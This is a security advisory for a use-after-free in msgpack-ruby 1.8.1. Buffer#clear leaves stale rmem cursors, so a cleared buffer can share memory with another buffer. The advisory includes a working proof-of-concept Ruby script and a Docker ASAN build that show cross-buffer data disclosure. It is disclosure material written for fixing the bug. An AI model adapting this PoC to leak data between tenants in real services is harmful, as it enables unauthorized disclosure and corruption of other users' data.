GHSA-4mrv-5p47-p938

### Summary `MessagePack::Buffer#clear` shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (`rmem_last`, `rmem_end`, `rmem_owner`). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second `MessagePack::Buffer` then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

### Details - `msgpack_buffer_clear()` → `_msgpack_buffer_shift_chunk()` (`ext/msgpack/buffer.c:151`, `:128`) destroys chunks (`_msgpack_buffer_chunk_destroy`, `:58`, returns the page via `msgpack_rmem_free`) but resets only `tail_buffer_end`/`read_buffer`, leaving `rmem_last`/`rmem_end`/`rmem_owner` pointing into the freed page. - Next `Buffer#write` → `_msgpack_buffer_chunk_malloc()` reuse branch (`:363`) returns `b->rmem_last`, a pointer into the already-freed page. - A second buffer's first write calls `msgpack_rmem_alloc()` and gets the same physical page back from the pool → the two buffers alias the same memory. - Sanitizer note: rmem (`ext/msgpack/rmem.h`) recycles pages with a slab bitmask, not `free()`, so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

### PoC Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

```bash set -e WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC cat > poc.rb <<'RUBY' b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256) b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000) b1.clear b1.write('C' * 128) secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400) b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096) b2.write(secret) leaked = b1.read_all donor = b2.read_all puts 'b1_first64:' + leaked.byteslice(0, 64) puts 'b2_donor64:' + donor.byteslice(200, 64) puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s RUBY

# 2) ASAN build of msgpackfrom rubygems cat > Dockerfile <<'DOCKER' FROM ruby:3.3-bookworm RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/* RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \ cd msgpack-1.8.1/ext/msgpack && \ MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \ make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so DOCKER docker build -t msgpack-asan-poc .

# 3) Run under ASAN docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \ bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb' ```

Expected output: ``` b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD leaked_is_C:false cross_buffer_match:true ```

### Impact Same-process cross-buffer information disclosure and corruption: after `clear` + reuse, one `MessagePack::Buffer` aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the `MessagePack::Buffer` API with a `clear`/reuse lifecycle (a supported performance pattern); not reachable from a plain `unpack` byte stream. Real-world severity **Low–Medium**; clear memory-safety defect with a small, localized fix.

### Credit Pranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))